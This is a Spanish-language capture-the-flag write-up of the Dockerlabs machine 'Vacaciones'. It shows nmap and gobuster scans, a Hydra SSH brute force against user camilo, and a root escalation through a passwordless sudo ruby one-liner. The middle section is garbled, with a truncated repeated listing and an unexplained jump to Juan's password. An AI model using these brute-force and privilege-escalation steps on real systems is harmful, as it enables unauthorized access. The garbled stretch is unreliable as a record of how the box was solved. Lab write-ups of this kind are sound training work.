

Seguimos en Dockerlabs con estas “Vacaciones”...



Como siempre usamos nuestro propio script automatizado para enumerar puertos, servicios y vulnerabilidades.

🕒 INICIO NMAP: 2026-03-22 22:11:36
🚀 COMANDO: nmap -sS -O -p- --open -n -Pn -T4 172.17.0.2

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

🕒 INICIO NMAP: 2026-03-22 22:12:08
🚀 COMANDO: nmap -sSCV -Pn -p 80,22 172.17.0.2

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 41:16:eb:54:64:34:d1:69:ee:dc:d9:21:9c:72:a5:c1 (RSA)
| 256 f0:c4:2b:02:50:3a:49:a7:a2:34:b8:09:61:fd:2c:6d (ECDSA)
| 256 df:e9:46:31:9a:ef:0d:81:31:1f:77:e4:29:f5:c9:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_ http-server-header: Apache/2.4.29 (Ubuntu)
|_ http-title: Site doesn't have a title (text/html).
MAC Address: 02:42:AC:11:00:02 (Unknown)

🕒 INICIO NMAP: 2026-03-22 22:12:49
🚀 COMANDO: nmap --script vuln -Pn -p 80,22 172.17.0.2

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

|_http-dombased-xss: Couldn't find any DOM based XSS.

|_http-csrf: Couldn't find any CSRF vulnerabilities.

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

Hacemos también una búsqueda en Whatweb y un escaneo rápido de UDP por si acaso pero sin encontrar nada relevante.

```
(kali@kali)-[~/scripts]
$ gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,zip -k

Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: html,zip,php,txt
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

index.html (Status: 200) [Size: 74]
javascript (Status: 301) [Size: 313] [→ http://172.17.0.2/javascript/]
server-status (Status: 403) [Size: 275]
Progress: 1102790 / 1102790 (100.00%)
```

Así que seguimos con un fuzzing del puerto 80 donde solo encontramos el index.html que carga una página completamente en blanco. Esto ya nos genera dudas y abrimos los metadatos del explorador para encontrar un mensaje “oculto” en la cabecera.

```
Elements Console Sources Network >>
<!-- De : Juan Para: Camilo , te he dejado un correo es importante... -->
<html>
  <head></head>
  <body></body>
</html>
```

Tratándose de un CTF, simplifico la búsqueda con Hydra a los posibles usuarios Juan y Camilo, siendo este segundo el que tiene una contraseña más debil y podemos acceder al servidor por SSH con él.

```
(kali㉿kali)-[~/scripts]
$ hydra -l camilo -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -I
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or s
ecret service organizations, or for illegal purposes (this is non-binding, these *** ignore
laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-22 23:07:21
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to
reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting,
./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399),
~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: camilo password: password1
1 of 1 target successfully completed, 1 valid password found
```

El pobre Camilo no tiene casi acceso a nada pero le han permitido ver un directorio...

```
$ pwd
/home/camilo
$ ls -la
total 20
drwxr-xr-x 2 camilo camilo 4096 Apr 25 2024 .
drwxr-xr-x 1 root root 4096 Apr 25 2024 ..
-rw-r--r-- 1 camilo camilo 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 camilo camilo 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 camilo camilo 807 Apr 4 2018 .profile
```

```
$ whoami
camilo
$ id
uid=1001(camilo) gid=1001(camilo) groups=1001(camilo)
$ sudo -l
[sudo] password for camilo:
Sorry, user camilo may not run sudo on 325397d403e2.
$ sudo -k
$ sudo -k && sudo -l
[sudo] password for camilo:
Sorry, user camilo may not run sudo on 325397d403e2.
$ find \ -perm -4000 -type f 2>/dev/null
```

Gracias al comando “\$ env | head -20” encuentro una carpeta con acceso y en ella un .txt con información importante: la contraseña de Juan.

```
$ env | head -20
MAIL=/var/mail/camilo
USER=camilo
SSH_CLIENT=172.17.0.1 42854 22
HOME=/home/camilo
SSH_TTY=/dev/pts/0
LOGNAME=camilo
TERM=xterm-256color
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
LANG=C.UTF-8
SHELL=/bin/sh
PWD=/home/camilo
SSH_CONNECTION=172.17.0.1 42854 172.17.0.2 22
```

El pobre Camilo no tiene casi acceso a

```
$ pwd
/home/camilo
$ ls -la
total 20
drwxr-xr-x 2 camilo ca
drwxr-xr-x 1 root ro
-rw-r--r-- 1 camilo ca
-rw-r--r-- 1 camilo ca
$ su -l
```

Así que terminamos llegando a root gracias a Juan y sus vacaciones, por medio del uso sin contraseña de ruby para ejecutar una /bin/bash como root.

```
juan@172.17.0.2's password:
$ whoami
juan
$ ls
$ pwd
/home/juan
$ sudo -l
Matching Defaults entries for juan on 325397d403e2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User juan may run the following commands on 325397d403e2:
    (ALL) NOPASSWD: /usr/bin/ruby
$ sudo ruby -e 'exec "/bin/bash"'
root@325397d403e2:~# whoami
root
```